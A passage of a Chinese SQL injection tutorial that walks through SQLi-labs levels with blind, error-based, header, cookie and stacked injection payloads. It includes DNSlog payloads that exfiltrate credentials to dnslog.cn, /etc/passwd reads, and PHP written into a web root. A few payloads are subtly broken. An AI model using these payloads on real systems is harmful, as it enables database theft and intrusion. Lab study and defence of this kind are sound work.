WHERE table_schema=database() limit 0,1),1,1))=101 -- - 构造Payload,Burp抓包 发送到爆破模块,选择交叉爆破,设置变量 payload1数字模块,一般1-30就行一般表名的长度不会超过30 payload2数字模块,这里是ascii码:0-127即可,因为有些数据库可能有特殊字符 发起fuzz 按照报文长度排序,组合信息手动将payload2按照paylaod1的顺序排列起来如下 12345678payload1 payload2 字母1 108 l2 105 i3 115 s4 116 t5 95 _6 105 i7 112 p ​ ​ 盲注列名 判断users表中有多少列 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 -- - 判断每一列的列名长度 1234567' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1))=2 -- -'-- 此行无效' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1))=8 -- -'-- 此行无效' and length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1))=8 -- - 判断第二列列名 123456789101112' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1),1,1))=106 -- -'-- 此行无效payload1 payload2 字符串1 117 u2 115 s3 101 e4 114 r5 110 n6 97 a7 109 m8 101 e ​ 盲注数据1234567891011121314151617-- 判断列中有几条记录' and (select count(*) from security.users)=13 -- -' -- 此行无效-- 判断username这一列的第一条记录的长度是否为4' and length(substr((select username from security.users limit 0,1),1))=4 -- -' -- 此行无效-- 判断数据的ASCII码' and ascii(substr((select username from security.users limit 0,1),1,1))=105 -- -' -- 此行无效payload1 payload2 字符串1 68 D2 117 u3 109 m4 98 b 时间盲注 ​\t时间盲注(Time-Based Blind SQL Injection)是一种SQL注入攻击的类型,与普通的SQL注入不同之处在于它利用了数据库在执行查询时产生的时间延迟来推断查询条件的真假. ​\t在时间盲注攻击中,攻击者构造了一个SQL语句,该语句在条件成立时会导致数据库执行操作,而在条件不成立时会产生延时. ​\t攻击者通过观察应用程序对不同情况的响应时间来判断条件是否成立,从而逐步推断数据库中的信息. 以下是时间盲注的基本原理和测试方式 构造带有时间延迟的条件: 攻击者在SQL语句中构造一个条件,使得在条件成立时会导致数据库执行操作并产生时间延迟.例如: 1SELECT * FROM users WHERE username='admin' AND IF(1=1, SLEEP(5), 0); 上述语句中,如果用户名为admin且条件1=1成立,数据库将执行SLEEP(5),导致延时5秒. 观察响应时间: 攻击者通过观察应用程序对SQL查询的响应时间来判断条件是否成立. 应用程序的响应时间较短,说明条件不成立; 应用程序的响应时间较长,说明条件成立. 逐步推断条件: 攻击者逐步调整条件,通过不断观察响应时间的变化来推断数据库中的信息.例如,可以通过逐渐改变条件中的值或关系运算符来确定数据库中的某个字符是否符合条件. 盲注的流程 盲注用户名长度,再去盲注用户名 盲注数据表表名的长度,再去盲注数据表名 再去盲注数据字段长度,数据字段名 然后就是数据的记录总数,数据记录 Less-9 盲注用户名12345678910111213141516171819202122232425262728293031323334353637383940414243' and if(substring(user(),1,1)="r",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="t",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="@",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="l",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="c",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="a",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="l",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="h",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="s",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="t",sleep(5),1) -- -'-- 此行无效-- 最终得到,用户名为:root@localhost 盲注库名如果想猜测当前数据库,其原理也和上文一样. 查询有几个库 1' and if((select count(schema_name) from information_schema.schemata)=10,sleep(5),1) -- - 查询第一个库名长度 1' and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),1) -- - 查询第一个库名 1234567' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) -- -' -- 此行无效' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110,sleep(5),1) -- -' -- 此行无效-- 事实上这个库名我们知道是默认的information_schema 盲注表名1' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=1,sleep(5),1) -- - 正确后,页面会延时5s返回 1234567891011121314151617181920212223242526272829303132-- 获取表名的第一个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- -' -- 此行无效-- 获取表名的第二个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),2,1))=109,sleep(5),1) -- -' -- 此行无效-- 获取表名的第三个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),3,1))=97,sleep(5),1) -- -' -- 此行无效-- 获取表名的第四个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),4,1))=105,sleep(5),1) -- -' -- 此行无效-- 获取表名的第五个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),5,1))=108,sleep(5),1) -- -' -- 此行无效-- 获取表名的第六个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),,1))=115,sleep(5),1) -- -' -- 此行无效-- 结果为emailspayload1 payload2 字符串1 101 e2 109 m3 97 a4 105 i5 108 l6 115 s 盲注列名 判断users表中有多少列 1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) -- - 判断每一列的列名长度 12345678910-- 第一列列名长度' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1))=2,sleep(5),1) -- -' -- 此行无效-- 第二列列名长度' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1))=8,sleep(5),1) -- -' -- 此行无效-- 第三列列名长度' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1))=8,sleep(5),1) -- - 判断第三列列名 12345678910111213141516' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1),1,1)))=106,sleep(5),1) -- -' -- 此行无效payload1 payload2 字母3 115 s4 115 s7 114 r8 100 d6 111 o1 112 p5 119 w2 97 a-- 按payload1顺序排序为:password 盲注数据1234567891011121314151617-- 判断列中有几条记录' and if((select count(*) from security.users)=13,sleep(5),1) -- -' -- 此行无效-- 判断username这一列的第一条记录的长度' and if((length((select username from security.users limit 0,1)))=4,sleep(5),1) -- -' -- 此行无效-- 猜解security数据库中users表中的第一条记录中的ASCII码值' and if((ascii(substr((select username from security.users limit 0,1),1,1)))=68,sleep(5),1) -- -'-- 此行无效payload1 payload2 字母\t1 68 d 2 117 u 3 109 m 4 98 b 报错注入 ​\t报错注入(Error-Based SQL Injection)是一种SQL注入攻击的形式,攻击者通过构造恶意的SQL语句,使得数据库执行时产生错误信息,进而泄露敏感信息. 以下是报错注入的基本原理和测试方式 构造恶意SQL语句: 攻击者通过构造SQL语句,故意引发数据库执行错误,以便获取错误信息中的敏感信息. 示例12SELECT * FROM users WHERE id = '1' AND 1=CONVERT(int, (SELECT @@version));-- CONVERT(int, (SELECT @@version))n会引发错误,将数据库版本信息包含在错误信息中. 观察错误信息: 攻击者通过观察应用程序返回的错误信息,从中提取敏感信息,如数据库版本、表名、列名等. 逐步推断信息: 攻击者通过逐步调整构造的SQL语句,观察不同的错误信息,逐步推断数据库结构和内容. 示例12-- 尝试获取users表的第一个列名,通过观察错误信息中的内容逐步推断数据库结构.SELECT * FROM users WHERE id = '1' AND 1=CONVERT(int, (SELECT column_name FROM information_schema.columns WHERE table_name='users' AND ROWNUM=1)); 技巧思路: 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息select/insert/update/delete都可以使用报错来获取信息. 背景条件∶ 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端. 判断是否存在报错注入:输入’You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 floor报错注入报错原理 ​\tfloor报错注入是利用select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错. ​\t实际利用中通过concat函数,连接注入语句与floor(rand(0)*2)函数,导致键值key重复. 要理解该语句的报错原因,首先大家需要理解如下的关键函数的作用:rand()、floor(rand(0)*2)、group by、count(*) . 理解rand函数rand() 是一个随机函数,当没有给定固定的随机数种子时,它会在每次调用时生成不同的数值.然而,一旦我们使用种子0初始化随机数生成器,rand() 就会形成一个固定的伪随机数序列.因此,即使函数本身旨在产生随机结果,通过使用固定的种子,产生的数值在每次程序运行时都将是相同的.这种现象在查看一个含有13行数据的表users时变得很明显,只需观察前6行,我们就能发现这一模式的一致性.这种一致性揭示了伪随机数序列的特性,即在给定相同种子的情况下,序列是完全可预测的.那么floor报错注入利用的时候rand(0)*2为什么要乘以2呢?这就要配合floor函数来说了.理解floor(rand(0)*2)函数floor()函数的作用就是返回小于等于括号内该值的最大整数,也就是取整.floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整.得到伪随机序列为如下图所示:(只看前6行即可)因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序.理解group by()函数group by主要用来对数据进行分组(相同的分为一组).例如建立如下表进行实验通过如下语句进行查询.(这里在a和x之前缺省了as ,作用为用a和x代替原有的字段显示),显示的结果如下图所示:但通过group by进行分组排序是,结果会进行分组,相同名字为合并.如下图所示最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值理解count(*)函数count(*)统计结果的记录数这里与group by结合使用看一下:这里就是对a中的重复性的数据进行了整合,然后计数,后面的x就是每一类的数量.也就是lisi有2个,wangwu有1个,zhangsan有3个.按照ascii排序. 报错原因分析大家已经了解基本函数后,当执行如下语句时,就会产生一个报错.如下图所示 select count(*),floor(rand(0)*2) x from users group by x; ​\t该语句的目的是统计生成的随机数的种类及其数量. ​\t原本期望的执行结果是统计两个不同的随机数:0和1,它们在生成的随机序列中分别出现了两次和四次. 然而,出现了一个报错.为什么会报错?. ​\t关键在于理解 GROUP BY 函数的工作过程.在执行 GROUP BY key 时,数据库会逐行读取数据并将结果保存到一个临时表中. 对于每一行会有以下两种情况: key 已经存在于临时表中,那么就会更新临时表中对应的数据,而在更新数据时,不再计算随机数的值. ​\t2. key 不存在于临时表中,就会将包含该 key 的行插入到临时表中,插入时会重新计算随机数的值. ​\t现在,考虑一种情况:临时表中只包含 key 为 1 的行,而没有 key 为 0 的行. ​\t当数据库尝试将一行 key 为 0 的记录插入到临时表时,由于这是一个随机数,插入时会重新计算 floor(rand(0)*2) 的值. ​\t这可能导致插入时的值与检测时的值不一致,从而导致插入时的冲突,最终触发了错误. ​\t检测时和插入时两次计算了随机数的值,导致了错误的发生. 具体报错原因可以通过下列过程展示: MySQL执行结果,会产生011011这个序列,group by时,会建立空虚拟表如下图,然后从SQL语句执行结果序列(011011)读取数据并插入虚表: key count(*) 虚表写入第一条记录,执行floor(rand(0)*2),发现结果为0(此时为第一次计算) 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果为1. 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 虚表写入第二条记录,再次计算floor(rand(0)*2),发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)*2)不会被计算,直接count(*)加1,第二条记录写入完毕. 查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕. 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 取第二条记录,不用插入 1 1 2 虚表写入第三条记录,再次计算floor(rand(0)*2),发现结果为0(此时为第4次计算),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)*2)(此时为第5次计算),计算结果为1.然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry的报错. 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 取第二条记录,不用插入 1 1 2 取第三条记录 0 插入记录 1 1 总结通过上述的分析,在虚表中写入第三条记录时产生了报错.关键在于 floor(rand(0)*2) 这个随机数表达式在该过程中被计算了五次,这解释了为什么数据表中至少需要三条数据才能触发报错的原因.首先,要理解为何需要至少三条记录.每行记录插入时,随机数表达式都会重新计算.如果只有两条记录,那么在插入第三条记录时,它可能导致和之前插入时计算的随机数不一致,从而产生报错.此外,要注意随机数种子的问题.如果没有加入随机数种子或者加入了其他的数,那么 floor(rand()*2) 产生的随机序列是不可测的.这样可能导致插入时无法触发报错,因为随机数的值不可预测.最后,关于虚表中的键值问题.如果前面的记录查询后并未在虚表中留下 0 和 1 这两个键值,那么无论插入多少条记录,都不会触发报错.这是因为 floor(rand()*2) 不会再被计算作为虚表的键值.这也解释了为什么不加随机数种子有时候会报错,有时候不会报错的原因.在没有明确的种子的情况下,随机数的计算结果可能会因为每次执行而不同.比如下面用1作为随机数种子,就不会产生报错. 利用方法Less-5 1234567-- 固定报错SELECT COUNT(*),concat('~',(SELECT DATABASE()),FLOOR(RAND(0)*2)) as a FROM information_schema GROUP BY a-- from information_schema 作用是让rand()产生足够多次数的计算,因为你也不知道对方到底有什么数据库,5.0以上版本这个库是理论上是肯定存在的-- 一般使用行数比较多的默认数据表information_schema.tables-- 固定不会报错SELECT COUNT(*),concat('~',(SELECT DATABASE()),FLOOR(RAND(1)*2)) as a FROM information_schema GROUP BY a 12-- 查询数据库名' union select 1,count(*),concat('~',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x -- - 12-- 查询表名' union select 1,count(*),concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database() ),floor(rand(0)*2)) as x from information_schema.tables group by x -- - 12-- 查询列名' union select 1,count(*),concat('~',(select group_concat(column_name) from information_schema.columns where table_name = "users" limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x -- - 12-- 查询内容' union select 1,count(*),concat('~',(select concat('~',username,'-',password) from security.users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x -- - extractvalue报错注入 extractvalue()MySQL中对XML文档数据进行查询的XPATH函数 ExtractValue(xml_frag,xpath_expr) 第一个参数可以传入目标xml文档 第二个参数是用xpath路径法表示的查找路径 123456789101112131415161718192021222324252627282930-- 查看当前数据库用户 'and extractvalue(1 ,concat(0x7e,(select user()),0x7e))-- -' -- 此行无效-- concat()的作用是连接字符串,并促使extractvalue()报错,其括号中至少需要两个参数-- extractvalue()的作用是报错,其中有个参数.第二个参数需要的是xpath格式的字符串,输入不符合,因此报错.-- 查看当前数据库名称 'and extractvalue(1 ,concat(0x7e,(select database()),0x7e))-- -' -- 此行无效-- 查看当前数据表名称 'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- -' -- 此行无效-- 查看users表中的列 'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))-- -' -- 此行无效-- 查看字段中的内容 'and extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e))-- -' -- 此行无效-- 查看密码字段 'and extractvalue(1,concat(0x7e,(select password from security.users limit 0,1),0x7e))-- -' -- 此行无效-- 密码截断显示-- security数据库里的数据一共就4个字符,所以用不到,这个方法适用于数据过长的情况'and extractvalue(1,concat(0x7e,(substring(hex((select password from security.users limit 0,1)),1,32)),0x7e))-- -' -- 此行无效 updatexml报错注入 updatexml()MySQL中对XML文档数据进行查询和修改的XPATH函数 UPDATEXML(xml_document, XPathstring, new_value) 第一个参数:fiedname是String格式,为表中的字段名. 第二个参数:XPathstring (Xpath格式的字符串). 第三个参数:new_value,String格式,替换查找到的符合条件的 12345678910111213141516171819202122232425262728293031323334353637-- 查看当前数据库用户 'and updatexml(1 ,concat(0x7e,(select user()),0x7e),1)-- -' -- 此行无效-- concat()的作用是连接字符串,并促使updatexml()报错,其括号中至少需要两个参数-- updatexml()的作用是报错,其中有三个参数.第二个参数需要的是xpath格式的字符串,输入不符合,因此报错.-- 查看当前数据库名称 'and updatexml(1 ,concat(0x7e,(select database()),0x7e),1)-- -' -- 此行无效-- 查看当前数据表名称 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -' -- 此行无效-- 查看users表中的列 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- -' -- 此行无效-- 查看字段中的内容 'and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)-- -' -- 此行无效-- 查看密码字段 'and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)-- -' -- 此行无效-- 密码截断显示 'and updatexml(1,concat(0x7e,(substring(hex((select password from security.users limit 0,1)),1,31)),0x7e),1)-- -' -- 此行无效-- 结果:XPATH syntax error:'~6531306164633339343962613539616''and updatexml(1,concat(0x7e,(substring(hex((select password from security.users limit 0,1)),32,10)),0x7e),1)-- -' -- 此行无效-- 结果:XPATH syntax error:'~2626535366~'-- 结果为16进制,加个0x然后还原为md5解密-- 组合:0x65313061646333393439626135396162626535366 updatexml()能查询字符串的最大长度为32,如果我们想要的结果超过32,就需要用substring()函数截取 geometrycollection() multIPoint() polygon() multIPolygon() linestring() multilinestring() exp() POST注入 ​\tPOST注入是一种SQL注入攻击类型,与GET注入相对应. ​\t在POST注入中,攻击者利用应用程序接收的用户提交的POST请求参数中的漏洞,注入恶意的SQL代码,从而执行非法的数据库操作. 基本原理和步骤如下: 构造恶意的POST请求: 攻击者通过修改POST请求中的参数值,注入包含恶意SQL代码的内容. 寻找注入点: 在POST请求中,通常存在一些参数用于传递用户输入的数据,攻击者需要找到可以注入的参数位置. 构造恶意SQL语句: 攻击者构造包含恶意SQL代码的语句,将其嵌入到POST请求参数中,以触发数据库执行非预期的操作. 观察应用程序响应: 攻击者观察应用程序对恶意请求的响应,判断是否成功执行了注入的SQL代码,从而推断数据库结构和获取敏感信息. ​\t假设一个应用程序接收用户的登录请求,POST请求中包含用户名(username)和密码(password)两个参数.攻击者可以构造恶意的用户名参数,尝试进行SQL注入. 示例12345POST /login HTTP/1.1Host:example.comContent-Type:application/x-www-form-urlencodedusername=admin' OR '1'='1' --&password=test123&Submit=Login 上述例子中,攻击者在用户名参数中使用了SQL注入的技巧,通过 ' OR '1'='1' -- 来绕过身份验证,使得条件始终为真. 打开靶机SQLi-labs/less-11输入dump,dump打开BURP抓包数据 快捷键Ctrl+R发送到Repeater模块输入单引号发送包发现报错 开始基本流程 12345678910111213141516171819202122232425-- 闭合uname=dump' -- -&passwd=dump&submit=Submit' -- 此行无效-- 测试列数uname=dump' order by 2 -- -&passwd=dump&submit=Submit' -- 此行无效-- 查询数据库uname=dump&passwd=dump' union select 1,database() -- -&submit=Submit' -- 此行无效-- 查询表uname=dump&passwd=dump' union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1 -- -&submit=Submit' -- 此行无效-- 查询列uname=dump&passwd=dump' union select 1,column_name from information_schema.columns where table_name='users' limit 1,1 -- -&submit=Submit' -- 此行无效uname=dump&passwd=dump' union select 1,column_name from information_schema.columns where table_name='users' limit 2,1 -- -&submit=Submit' -- 此行无效-- 查询数据uname=dump&passwd=dump' union select username,password from security.users limit 0,1 -- -&submit=Submit User-Agent注入Less-18 需要正确登录 12345678910111213-- 获取库名kjkj' or updatexml(1,concat(0x7e,(database()),0x7e),0) or'-- 获取表名kjkj' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database()limit 0,1),0x7e),0) or'-- 获取列名kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),0) or'kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),0) or'-- 获取数据kjkj' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),0) or'kjkj' or updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),0) or' Referer注入Less-19 12345678910111213-- 获取库名kjkj' or updatexml(1,concat(0x7e,(database()),0x7e),0) or'-- 获取表名kjkj' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database()limit 0,1),0x7e),0) or'-- 获取列名kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),0) or'kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),0) or'-- 获取数据kjkj' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),0) or'\tkjkj' or updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),0) or' Cookie注入登陆后才有Cookie. 12345678910111213-- 获取表名Cookie:uname=-Dumb' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 3,1 -- -' -- 此行无效-- 获取列名Cookie:uname=-Dumb' union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1 -- -' -- 此行无效Cookie:uname=-Dumb' union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1 -- -' -- 此行无效-- 获取数据Cookie:uname=-Dumb' union select 1,username,password from security.users limit 0,1 -- - 堆叠注入定义:从名词的含义就可以看到应该是一堆SQL语句(多条)一起执行 堆叠注入原理​\t在SQL中,分号(;)是用来表示一条SQL语句的结束. ​\t试想一下我们在;结束一个SQL语句后继续构造下一条语句,会不会一起执行? ​\t因此这个想法也就造就了堆叠注入. ​\t而union injectionS(联合注入)也是将两条语句合并在一起. 两者之间有什么区别么?union 执行的语句类型是有限的,只能用来执行查.因为在我们每次进行SQL注入的时候,我们输入语句会拼接到$SQL="SELECT * FROM users WHERE ... 那么在为查询赋予条件的时候我们是不可能在后面跟随另外的增删改查操作的.堆叠注入可以执行的是任意的语句.用户输入:1; DELETE FROM products服务器端生成的SQL语句为:Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除 ​\t但堆叠注入不是在什么情况下都可以使用,可能会受到API或者数据库引擎又或者权限的限制只有当调用数据库函数支持执行多条SQL语句时才能够使用,利用mysqli_multi_query()函数就支持多条SQL语句同时执行,但实际情况中,如PHP为了防止SQL注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁. 代码分析mysqli_multi_query可以执行多条语句payload:http://10.10.10.197/SQLi/Less-38?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb') -- - 123456789101112131415161718192021// 定义SQL查询语句,从名为 'users' 的表中选择所有列,其中 'id' 列的值等于传入的参数 '$id'$SQL = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";// 使用 mysqli_multi_query 执行 SQL 查询,此函数可用于执行多个 SQL 查询if (mysqli_multi_query($con1, $SQL)) { // 如果查询成功执行,使用 mySQLi_store_result 获取结果集 if ($result = mySQLi_store_result($con1)) { // 使用 mySQLi_fetch_row 获取结果集的一行数据 if ($row = mySQLi_fetch_row($result)) { // 输出 HTML 标签,显示结果 echo '<font size="5" color="#00FF00">'; // 使用 printf 输出用户名信息,$row[1] 表示结果集中第二列的值 printf("Your Username is:%s", $row[1]); echo "<br>"; // 使用 printf 输出密码信息,$row[2] 表示结果集中第三列的值 printf("Your Password is:%s", $row[2]); echo "<br>"; echo "</font>"; } }} 注入方法12345678910-- 查询表名?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -' -- 此行无效-- 查询列名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' -- -' -- 此行无效-- 插入内容?id=-1' ;insert into users(id,username,password) values(90,'kill3r','kill3r') -- - DNSlog注入 ​\tDNSlog注入是一种高级的SQL注入攻击技术,它利用DNS解析过程中的特性,将恶意数据通过DNS请求传递到攻击者控制的DNS服务器,从而实现在无法直接获取响应的情况下,间接获取数据库信息的目的. 基本原理和步骤如下: 构造恶意SQL语句: 攻击者构造包含恶意SQL代码的语句,通常在语句中包含对DNS解析过程产生的DNS请求的利用代码. 触发DNS解析: 攻击者将构造的恶意SQL语句注入到目标应用程序中,使其在处理用户请求时触发DNS解析. DNSlog服务: 攻击者拥有一个控制的DNS服务器,该服务器能够记录接收到的DNS请求,并将记录的信息发送给攻击者. DNS记录信息: 当应用程序触发DNS解析时,攻击者控制的DNS服务器会收到请求并记录相关信息,例如恶意SQL代码执行的结果. 获取数据库信息: 攻击者通过查看DNS服务器的记录,间接获取数据库执行恶意SQL语句后的信息,包括可能的敏感信息. ​\tDNSlog注入的优势在于攻击者无需直接获取应用程序的响应,而是通过DNS请求的记录来获取信息,这使得攻击更为隐蔽.然而,实施DNSlog注入需要掌握一定的网络和DNS知识. 什么是DNSlog​\t我们都知道DNS就是将域名解析为IP,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实IP: 127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务. ​\t那么DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件. DNSlog回显原理​\t前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢.我们得再了解一个多级域名的概念. https://blog.csdn.net/weixin_50464560/article/details/117607146https://blog.csdn.net/weixin_50464560/article/details/117607146 ​\t因特网采用层次树状结构命名方法.域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等.从右向左为顶级域名、二级域名、三级域名等,用点隔开. 示例1tieba.baidu.com 它由三个标号组成: com即为顶级域名 baidu为二级域名 tieba即为三级域名 域名不区分大小写. 再来看一个图 ​\t通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的IP 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方. 看个直观一点的例子来理解: ping命令的时候会用到DNS解析所以我就用ping命令做个实验. ​\t可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的IP地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了.原理上只要能进行DNS请求的函数都可能存在DNSlog注入. Windows平台 注入平台https://ceye.io/https://ceye.io/ http://dnslog.cn/http://dnslog.cn/ 手工注入12AND SELECT LOAD_FILE(CONCAT("--",(SELECT DATABASE()),".u4atj2.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",hex((SELECT DATABASE())),".u4atj2.dnslog.cn/jiangjiyue.txt")) -- - 12AND SELECT LOAD_FILE(CONCAT("--",(SELECT table_name FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 3,1 ),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",hex((SELECT table_name FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 3,1 )),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- - 12AND SELECT LOAD_FILE(CONCAT("--",(SELECT column_name FROM information_schema.`COLUMNS` WHERE table_name='users' LIMIT 0,1 ),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",h((SELECT column_name FROM information_schema.`COLUMNS` WHERE table_name='users' LIMIT 0,1 )),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- - 12AND SELECT LOAD_FILE(CONCAT("--",(SELECT CONCAT(username ,"---",password)FROM users LIMIT 0,1 ),".qnzz3t.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",hex((SELECT CONCAT(username ,"---",password)FROM security.users LIMIT 0,1 )),".qnzz3t.dnslog.cn/jiangjiyue.txt")) -- - 读写文件 文件读写权限检查 使用 show variables like '%secure%'; 来查看MySQL是否有读写文件的权限. 通过检查 secure_file_priv 变量,可以了解MySQL是否限制了文件的读写.三种状态:空(可写)、固定路径(在特定路径内可写)、null(不可写). select into outfile 和 select into dumpfile select into outfile 用于将查询结果输出到文件,通常是文本文件. select into dumpfile 类似于 outfile,但用于输出二进制格式文件. load_file() 函数 load_file() 函数用于读取本地文件.但要使用该函数,MySQL用户需要具有 FILE 权限. 可以通过 UNION SELECT 结构来执行 load_file() 函数,实现读取本地文件的目的. 文件写入示例 使用 select ... into outfile 或 select ... into dumpfile 结合联合查询,可以将恶意内容写入到指定路径的文件中. 1select id,username,password from user where id='1' union select 1,2,'<?php phpinfo();?>' into outfile 'D:\\\\Penetration\\\\TrafficTools\\\\phpStudy\\\\WWW\\\\p.php' 示例中演示了如何将 PHP 代码写入到指定路径的文件中,从而实现远程命令执行. 文件读取示例: 使用 load_file() 函数结合联合查询,可以读取本地文件的内容. 1select username,password from user where id='1' UNION SELECT 1,load_file('/etc/passwd') 示例中演示了如何读取 /etc/passwd 文件的内容. 注意事项: 上述操作需要具有足够的权限,通常需要 root 权限. 